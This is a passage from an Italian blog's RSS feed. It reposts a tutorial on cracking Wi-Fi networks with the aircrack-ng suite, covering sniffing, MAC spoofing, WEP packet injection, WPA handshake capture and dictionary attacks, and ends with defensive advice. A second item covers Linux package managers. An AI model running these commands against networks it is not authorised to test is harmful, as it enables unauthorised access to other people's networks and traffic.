src="http://www.mrwebmaster.it/images/articoli/sicurezza_cracking_wifi/monitor.png" border="0" alt="" /></p><p><strong>Sniffing dei pacchetti</strong></p><p>Si definisce &#8220;sniffing&#8221; l&#8217;attività di intercettazione passiva dei dati che transitano in una rete telematica. Lo sniffing, in pratica, non è altro che la cattura dei pacchetti in transito su una rete.<br
/> Per visualizzare l&#8217;elenco delle reti sotto monitoraggio è sufficiente lanciare il comando</p><blockquote><pre># airodump-ng &lt;interfaccia&gt;</pre></blockquote><p>Lanciato senza altri parametri il comando citato non salva i pacchetti ricevuti da nessuna parte ma si limita a fare <em>polling</em> tra tutti i canali alla ricerca del massimo numero di reti possibile (il polling consiste nel provare a connettersi su tutti i canali ad intervalli regolari di tempo).</p><p
align="center"><img
src="http://www.mrwebmaster.it/images/articoli/sicurezza_cracking_wifi/airodump.png" border="0" alt="" /></p><p>Questa fase, generalmente, percede lo sniffing vero e proprio; in questa fase preliminare, in sostanza, si &#8220;sceglie la vittima&#8221; dell&#8217;attacco. Per farlo sarà innanzituitto necessario appuntarsi alcune informazioni sulla rete individuata:</p><ul><li>BSSID</li><li>ESSID</li><li><a
id="ed_Id_1" style="border-bottom: medium none; text-decoration: underline; color: #009900; cursor: pointer;">Channel</a> (<a
id="ed_Id_2" style="border-bottom: medium none; text-decoration: underline; color: #009900; cursor: pointer;">canale</a>)</li><li>SSID del/dei client/s</li></ul><p>Fatto questo sarà possibile lanciare il comando che avvia lo sniffing vero e proprio e salva su file il traffico catturato:</p><blockquote><pre># airodump-ng -c &lt;<a id="ed_Id_3" style="border-bottom: medium none; text-decoration: underline; color: #009900; cursor: pointer;">canale</a>&gt; -b &lt;BSSID&gt; -w &lt;filedicattura.ivs&gt; &lt;interfaccia&gt;</pre></blockquote><p>A questo punto, a seconda del tipo di protezione che difende la rete-obiettivo si può agire con tecniche differenti.<br
/> In certi casi, a dire il vero non frequentissimi, gli access point si proteggono da attacchi esterni tramite il <strong>MAC filtering</strong>, che consiste nell&#8217;accettare connessioni soltanto dagli host il cui indirizzo sia presente in una lista dedicata (whitelist).<br
/> Sfruttando il fatto che almeno il MAC address dell&#8217;utente proprietario della rete sia presente in whitelist si può tentare di attaccare questo sistema facendo <strong>MAC Spoofing</strong>, ovvero cambiando con una riga di comando il proprio MAC Address con quello del proprietario della rete, che può essere ricavato ad esempio dalla lista delle connessioni tracciate da airodump.<br
/> I seguenti comandi cambiano il proprio indirizzo MAC con quello inserito come argomento:</p><blockquote><pre># ifconfig &lt;interfaccia&gt; down
# ifconfig &lt;interfaccia&gt; hw ether &lt;nuovo_mac&gt;
# ifconfig &lt;interfaccia&gt; up</pre></blockquote><p><strong>Cracking WEP</strong></p><p>Come già accennato il WEP ha un difetto di implementazione che lo rende vulnerabile ad un attacco basato su un semplice calcolo statistico: qualora si sia intercettata una quantità sufficiente di traffico l&#8217;attacco ha percentuali di riuscita vicine al 99%.</p><p>Se il nostro obiettivo è bucare (o meglio testare) una rete protetta con WEP, il primo passo da compiere è, quindi, quello di catturare un adeguato numero di pacchetti nel più breve tempo possibile. Per farlo una comune attività di sniffing potrebbe essere sufficiente.<br
/> Qualora si desideri velocizzare l&#8217;operazione è possibile utilizzare in combinazione tecniche di <strong>fake association</strong> e <strong>packet injection</strong>: con la prima tecnica si crea un&#8217;associazione fittizia con l&#8217;access point vittima mentre con la seconda si fa in modo che nella rete circolino un gran numero di pacchetti.<br
/> In questo modo sarà sufficiente pochissimo tempo per raccogliere il nostro bottino.</p><p>Il comando che mette in pratica quanto appena descritto è aireplay-ng, lanciato coi parametri indicati:</p><p>1) Per la &#8220;Fake Association&#8221;</p><blockquote><pre># aireplay-ng -1 0 -e &lt;ESSID&gt; -a &lt;BSSID&gt; -h &lt;mio_mac&gt; &lt;interfaccia&gt;</pre></blockquote><p>2) Per il &#8220;Packet Injection&#8221;</p><blockquote><pre># aireplay-ng -3 -b &lt;BSSID&gt; -h &lt;mio_mac&gt; &lt;interfaccia&gt;</pre></blockquote><p>Al termine delle operazioni lanciamo il comando:</p><blockquote><pre># aircrack-ng &lt;filedicattura.ivs&gt;</pre></blockquote><p>&#8230;ed attendiamo il responso.</p><p
align="center"><img
src="http://www.mrwebmaster.it/images/articoli/sicurezza_cracking_wifi/aircrack.png" border="0" alt="" /></p><p><strong>Cracking WPA-PSK</strong></p><p>Le reti WPA-PSK fortunatamente non soffrono della grave vulnerabilità del protocollo WEP. Craccare una rete di questo tipo necessità, pertanto, di un approccio per tentativi in cerca della giusta <em>passphrase</em>.</p><p>L&#8217;obiettivo preliminare è catturare un <em>handshake</em> valido. Per chi non lo sapesse l&#8217;handshake è una sequenza di pacchetti scambiati tra un client autorizzato e un Access Point che porta all&#8217;autenticazione.</p><p>Per conseguire questo primo fine si possono seguire due strade, la prima è aspettare che un client si connetta spontaneamente, la seconda è usare il <strong>Deauthentication attack</strong>.<br
/> Il principio è far disconnettere un client con lo scopo di fargli ripetere la procedura di autenticazione, che sarà attentamente catturata dal nostro sniffer.<br
/> La prima opzione, che pare a prima vista &#8220;poco furba&#8221;, diventa l&#8217;unica praticabile quando nessun client è connesso alla rete obiettivo.</p><p>Una volta catturato l&#8217;handshake si passa alla ricerca della passphrase.<br
/> Per questioni di tempo è impensabile effettuare un attacco a tentativi col grezzo &#8220;brute force&#8221; (prova sequenziale di tutte le combinazioni di un insieme di caratteri detto &#8220;charset&#8221;). E&#8217; da preferire un <strong>attacco a dizionario</strong>, che però richiede una <em>wordlist</em> (lista di parole di senso compiuto normalmente utilizzate come password; ad esempio nomi di persona) di buona qualità per risultare efficiente.<br
/> Una volta ottenuta la wordlist sarà sufficiente eseguire il comando:</p><blockquote><pre>aircrack-ng -w &lt;wordlist.txt&gt; -b &lt;mac_address&gt; &lt;filedicattura.ivs&gt;</pre></blockquote><p>ed attendere speranzosi che la password cercata sia nel dizionario.<br
/> Un tipo di attacco di questo tipo andrà difficilmente a buon fine se la password è stata scelta con le dovute cautele.</p><p><strong>Evoluzione del cracking e difesa della rete</strong></p><p>Ovviamente questo testo non ha pretese di esaustività nel trattare la materia del cracking di una rete senza fili: esistono, infatti, tecniche più sofisticate che sfruttano altri tipi di vulnerabilità ma di più difficile applicazione. Di contro sono veramente pochi gli utenti in grado di utilizzare metodi differenti da quelli qui descritti.</p><p>Negli ultimi tempi sono stati sviluppati sistemi software che velocizzano il numero di operazioni effettuabili nell&#8217;arco di tempo in un attacco: i più interessanti sfruttano i velocissimi <strong>processori grafici</strong>, molto adatti per fare calcoli di questa natura, oppure sono basati sulla <strong>programmazione distribuita</strong> (il calcolo viene affidato non a una sola macchina ma ad una rete di calcolatori). Questo genere di innovazioni può minare anche la sicurezza delle password più sofisticate e di lunghezza medio-alta.</p><p>Per proteggersi dal WEP, pare scontato che l&#8217;unica soluzione sia non usarlo. Il WEP non è mai sicuro, e il cracking risulta facile qualsiasi sia la passphrase impiegata.<br
/> Il WPA-PSK offre protezione buona a patto che la password sia sufficientemente lunga, composta da vari tipi di caratteri (maiuscole/minuscole/numeri/caratteri speciali) e non sia una parola potenzialmente presente nel dizionario. La sicurezza cresce esponenzialmente con ogni carattere in più aggiunto alla password!<br
/> In ogni caso, quando possibile, il sistema migliore è certamente passare a WPA2-AES oppure, soluzione consigliata in ambito professionale, dotarsi di un server di autenticazione, ad esempio un server RADIUS.</p><p><a
href="http://www.mrwebmaster.it/sicurezza/articoli/cracking-reti-wi-fi_1083.html">Fonte mr webmaster</a></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/10/21/cracking-di-reti-wi-fi/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Gestori di pacchetti</title><link>http://www.arturu.it/blog/2009/09/29/gestori-di-pacchetti/</link> <comments>http://www.arturu.it/blog/2009/09/29/gestori-di-pacchetti/#comments</comments> <pubDate>Tue, 29 Sep 2009 14:25:39 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Soluzioni]]></category> <category><![CDATA[Ubuntu & C.]]></category> <category><![CDATA[pacchetti]]></category> <category><![CDATA[ubuntu]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=516</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p>Una delle tante filosofie del mondo Open Source riguarda l&#8217;economia del software, come concetto di base si tende a non replicare nel sistema codice o componente che già è stato implementato da un altro programmatore. Questi componenti vengono distribuiti attraverso [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a><a
href="http://www.arturu.it/blog/category/ubuntu-c/" title="Ubuntu &amp; C.">Ubuntu &amp; C.</a></p><p><img
class="alignleft size-full wp-image-415" title="synaptic" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/synaptic.png" alt="synaptic" width="128" height="128" />Una delle tante filosofie del mondo Open Source riguarda l&#8217;economia del software, come concetto di base si tende a non replicare nel sistema codice o componente che già è stato implementato da un altro programmatore. Questi componenti vengono distribuiti attraverso internet in file compressi e vengono chiamati pacchetti o packange. Dal punto di vista del programmatore questa è la soluzione migliore ma dal punto di vista dell&#8217;utente, specialmente per chi non ha molta esperienza, può diventare un incubo. Infatti, per poter installare un determinato software bisogna installare prima i pacchetti necessari al suo funzionamento, stando attenti che questi pacchetti a loro volta non richiedano altri pacchetti per poter funzionare e così via; nel gergo Open Source questo procedimento viene chiamato “Risoluzione delle dipendenze”. Per ovviare a questo problema si utilizzano dei programmi appositamente costruiti che sono i “Gestori di Pacchetti”. Attualmente oltre a risolvere le dipendenze i gestori di pacchetti provvedono alla ricerca del software, al download, all&#8217;installazione e alla configurazione. Attualmente l&#8217;utente finale deve solo scegliere il programma che più preferisce, attendere il download, la configurazione ed utilizzare il software. Lo stesso gestore si occupa di rimuovere i programmi, di mantenere aggiornato il sistema, occuparsi dell&#8217;upgrade di versione della distribuzione (ad es. Ubuntu), di aggiornare i driver, ecc., mantenendo sempre pulito e stabile il sistema anche dopo anni e anni di installazione e rimozione del software.</p><p><span
id="more-516"></span></p><p
style="margin-bottom: 0cm;" align="justify">Oggi esistono diverse tecnologie per la gestione dei pacchetti, questa situazione è dovuta alla moltitudine delle distribuzioni GNU/Linux esistenti, infatti, ognuna di essa utilizza un gestore diverso. I gestori largamente usati sono:</p><ul><li>YUM, utilizzato in 	Fedora Core;</li></ul><ul><li>up2date, utilizzato dai sistemi Red Hat Enterprise Linux. La sua versatilità lo fa dialogare anche con reti di distribuzione YUM e APT che contengono pacchetti RPM;</li></ul><ul><li>YasT, utilizzato 	nelle distribuzioni Linux SUSE;</li></ul><ul><li>urpmi, utilizzato da 	Mandrakelinux;</li></ul><ul><li>Advanced Packaging 	Tool (APT) per RPM</li></ul><ul><li>dpkg utilizzato per primo sulle distribuzioni Debian GNU/Linux e poi da altre distribuzioni. Utilizza un formato di pacchetti .deb ed è stato il primo a risolvere le dipendenze.</li></ul><ul><li>portage/emerge utilizzato su Gentoo, famoso perché a differenza degli altri (che scaricano il programma già compilato) scarica il codice sorgente e provvede ad ottimizzarlo e compilarlo per l&#8217;hardaware installato sul computer, in questo modo si ha un software ottimizzato per il proprio computer e non uno generico che va bene per tutti.</li></ul><p></p><h4>Esempio pratico</h4><p></p><p
style="margin-bottom: 0cm;" align="justify">Attualmente se voglio installare un programma o una libreria su un sistema GNU/Linux le uniche cose di cui mi devo preoccupare è decidere quale programma mi serve, al resto (download, istallazione e configurazione) ci pensa il gestore dei pacchetti.</p><p
style="margin-bottom: 0cm;" align="justify">Oggi ho comprato un bel DVD contenente una delle mie opere preferite “La forza del destino” di Giuseppe Verdi, logicamente dopo aver speso un sacco di soldi vorrei farmi un bel Backup del disco, devo trovare un programma che mi permetta di farlo. Prima di tutto apro il gestore dei pacchetti che sul mio sistema (Kubuntu) è Adept (interfaccia grafica di dpkg-apt)</p><p
style="margin-bottom: 0cm; text-align: center;" align="justify"><img
class="size-medium wp-image-527 aligncenter" title="mini_schermata1" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata1-300x183.png" alt="mini_schermata1" width="300" height="183" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify"><p
style="margin-bottom: 0cm;" align="justify">Il gestore dei pacchetti mi permette due tipi di visualizzazioni: il software disposto per categorie (come nel menù di sistema) oppure in ordine alfabetico, scelgo per categorie così posso trovare più facilmente il mio programma</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-529" title="mini_schermata3" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata3-300x258.png" alt="mini_schermata3" width="300" height="258" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify">Tramite la casella cerca trovo il software che mi interessa, in questo caso è k9copy (purtroppo ancora le descrizioni dei programmi sono ancora in inglese, solo le descrizioni) che mi permette di fare un backup di un film DVD 9GB su un supporto da 4.7GB, del tutto simile a DVDShrink esistente sui sistemi Microsoft Windows:</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-530" title="mini_schermata4" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata4-300x253.png" alt="mini_schermata4" width="300" height="253" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify">Seleziono e clicco su “Applica le modifiche” e attendo il download dei 5 MB necessari</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-531" title="mini_schermata5" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata5-300x253.png" alt="mini_schermata5" width="300" height="253" /></p><p
style="margin-bottom: 0cm;" align="justify"></p><p
style="margin-bottom: 0cm;" align="justify">Al termine del download il gestore provvederà ad installare e a configurare il programma appena scaricato:</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-532" title="mini_schermata6" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata6-300x254.png" alt="mini_schermata6" width="300" height="254" /></p><p
style="margin-bottom: 0cm;" align="justify"></p><p
style="margin-bottom: 0cm;" align="justify">Appena completata l&#8217;installazione il programma sarà subito disponibile nel menù di sistema sotto la categoria Multimedia, stessa catalogazione del gestore dei pacchetti:</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-533" title="mini_schermata7" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata7-300x110.png" alt="mini_schermata7" width="300" height="110" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify">Ecco k9copy in azione:</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-534" title="mini_schermata8" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata8-300x233.png" alt="mini_schermata8" width="300" height="233" /></p><p></p><p
style="margin-bottom: 0cm;" align="justify">Il programma è totalmente in italiano e rispecchia la descrizione contenuta nel gestore dei pacchetti.</p><p
style="margin-bottom: 0cm;" align="justify">Successivamente mi accorgo che nel trascrivere su disco un vecchio backup di un DVD fatto con Clone CD non mi viene riconosciuta l&#8217;immagine. Come al solito apro il gestore dei pacchetti (stavolta con l&#8217;altra visualizzazione) e cerco Clone CD e trovo la mia libreria.</p><p
style="margin-bottom: 0cm;" align="justify"><img
class="aligncenter size-medium wp-image-535" title="mini_schermata9" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/mini_schermata9-300x248.png" alt="mini_schermata9" width="300" height="248" /></p><p
style="margin-bottom: 0cm;" align="justify"></p><p
style="margin-bottom: 0cm;" align="justify">Dopo aver cliccato su Applica modifiche come al solito verrà scaricata, installata e configurata la libreria. Ad esempio sarà usata come: plug-in nel programma di masterizzazione, come un normale programma se dispone di un&#8217;interfaccia grafica, oppure, dalla linea di comando.</p><p
style="margin-bottom: 0cm;" align="justify"></p><h4>Conclusioni</h4><p></p><p
style="margin-bottom: 0cm;" align="justify">In questo articolo ho cercato di portare a conoscenza i grossi passi avanti fatti dalle distribuzioni GNU/Linux riguardante l&#8217;installazione del software. Fino a poco tempo fa per un nuovo utente riuscire ad installare un software, senza troppe preoccupazioni, era quasi impossibile, infatti, ancora oggi si pensa che per installare i programmi sui sistemi Linux sia sempre necessario compilare i sorgenti e risolvere le dipendenze, attualmente sulla maggior parte delle distribuzioni tutto il software che si scarica è già precompilato e le dipendenze vengono risolte in automatico. Esistono distribuzioni come Gentoo che ottimizzano il software per l&#8217;hardware in uso compilando il codice sorgente del programma prima di installarlo.</p><p
style="margin-bottom: 0cm;" align="justify">Infine vorrei fare un&#8217;osservazione prima di concludere: attualmente sulla maggior parte dei sistemi GNU/Linux servono due clic per installare e usare qualsiasi tipo di software senza pagare nulla, cosa che non succede su altri sistemi.</p><h4>Collegamenti utili</h4><div><a
href="http://sourceforge.net/" target="_blank">http://sourceforge.net/</a> Sito di riferimento per il mondo Open Source per il download dei sorgenti dei programmi.</div><p
style="margin-bottom: 0cm;" align="justify"><a
href="http://www.kde-apps.org/" target="_blank">http://www.kde-apps.org/</a> , sito in inglese che illustra le applicazioni disponibili per KDE, molto utile per i meno esperti, contenente recensioni suoi programmi disponibili.</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2009/09/29/gestori-di-pacchetti/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
